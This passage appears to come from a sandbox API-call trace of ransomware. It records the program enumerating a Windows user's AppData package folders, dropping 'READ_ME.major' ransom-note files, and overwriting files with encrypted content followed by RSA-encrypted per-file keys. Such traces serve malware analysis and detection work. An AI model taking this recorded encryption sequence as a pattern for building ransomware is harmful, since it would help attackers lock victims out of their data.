ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.499] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaac [0194.500] WriteFile (in: hFile=0xaac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.501] CloseHandle (hObject=0xaac) returned 1 [0194.501] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ba016f3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba016f3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.501] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.501] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89590 [0194.501] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cdb8 [0194.501] FindNextFileW (in: hFindFile=0x2f2cdb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.501] FindNextFileW (in: hFindFile=0x2f2cdb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba278b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba278b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.501] FindNextFileW (in: hFindFile=0x2f2cdb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba278b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba278b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f896e0 [0194.501] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cab8 [0194.502] FindNextFileW (in: hFindFile=0x2f2cab8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.502] FindNextFileW (in: hFindFile=0x2f2cab8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba278b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba278b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.502] FindNextFileW (in: hFindFile=0x2f2cab8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba278b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba278b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89788 [0194.502] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c978 [0194.502] FindNextFileW (in: hFindFile=0x2f2c978, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.502] FindNextFileW (in: hFindFile=0x2f2c978, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba278b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba278b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.502] FindNextFileW (in: hFindFile=0x2f2c978, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba278b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba278b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba278b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f84da8 [0194.502] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cdf8 [0194.503] FindNextFileW (in: hFindFile=0x2f2cdf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.503] FindNextFileW (in: hFindFile=0x2f2cdf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.503] FindNextFileW (in: hFindFile=0x2f2cdf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.503] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ce78 [0194.503] FindNextFileW (in: hFindFile=0x2f2ce78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.503] FindNextFileW (in: hFindFile=0x2f2ce78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.503] FindNextFileW (in: hFindFile=0x2f2ce78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.503] FindNextFileW (in: hFindFile=0x2f2ce78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.503] FindNextFileW (in: hFindFile=0x2f2ce78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0194.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0194.503] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.503] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0194.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.504] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0 [0194.504] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0194.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0194.504] ReadFile (in: hFile=0xac0, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.513] SetFilePointer (in: hFile=0xac0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.513] WriteFile (in: hFile=0xac0, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.513] SetFilePointer (in: hFile=0xac0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.513] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.513] WriteFile (in: hFile=0xac0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.514] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.514] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="52KplY/sCBKb6TO69yPuHxqXSWY3RyzY+Ij4qMeVZ+z3hwtUOWtyeUhKwdhnKQeo\nRYiHucQnF9gV14vjNLmLVod8I5XT8CWm82SUfikVcESo48cc26cGp5xADzoTqgJV\nmO68pTaViBYB9Qc7HwMJZiP8nH9/vUwD72Vu7xEftPGkWxJTe9UiuiTSjPki2PdV\nCX6BBgsG5WtUchWLVLubMTLdX+gXNLmPLJvoJED6FDmX87mwL3OKNheBtgP7bWGT\ns/+xJ+L+vjjGpct9Q/fAYlYDbaesU+rM0yzA17f3NaCBmeZjUhCktg+TOe6sMmA2\nn2k419yT1n+K3DmJYPvCsA==\n", pcchString=0x2e3f9a8) returned 1 [0194.514] WriteFile (in: hFile=0xac0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.514] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.514] WriteFile (in: hFile=0xac0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.515] CloseHandle (hObject=0xac0) returned 1 [0194.610] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.610] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0194.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.611] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0 [0194.611] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d240 [0194.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1c0 [0194.612] ReadFile (in: hFile=0xac0, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.612] SetFilePointer (in: hFile=0xac0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.612] WriteFile (in: hFile=0xac0, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.612] SetFilePointer (in: hFile=0xac0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.612] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.612] WriteFile (in: hFile=0xac0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jpuSm51droySyZIqjlTpkpa0kG2k4TawjDT8GeyQE+0wbWf3emFtTM2D2DEeDx/O\nhhKdaxd0x+Q3O/1FJj9kC37vissxTGF4QSgMOWzSv8BRVkCGcOJnUvU5p6R3CoHV\n3+HwXga8b8xRGg+AmJdRidbA2ek+X8ECk9PMwfgMtuHS3eGOTOxZjRgA2WBs7TST\nwyLvFV5yr/gvRBKpQU5kjXiaGSXdTLE4A0HGJrj01yxpp5ckv4mORZpM4axsdkWm\nEvRgIfDUExdsq1PXE42yPHj/KYzb9N22IJOV1x1AoKjelnGPi1cueRoyMqY4fmTr\nhrxVbayvr/HVnLYiQW4vbw==\n", pcchString=0x2e3f9a8) returned 1 [0194.614] WriteFile (in: hFile=0xac0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.614] WriteFile (in: hFile=0xac0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.614] CloseHandle (hObject=0xac0) returned 1 [0194.616] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, 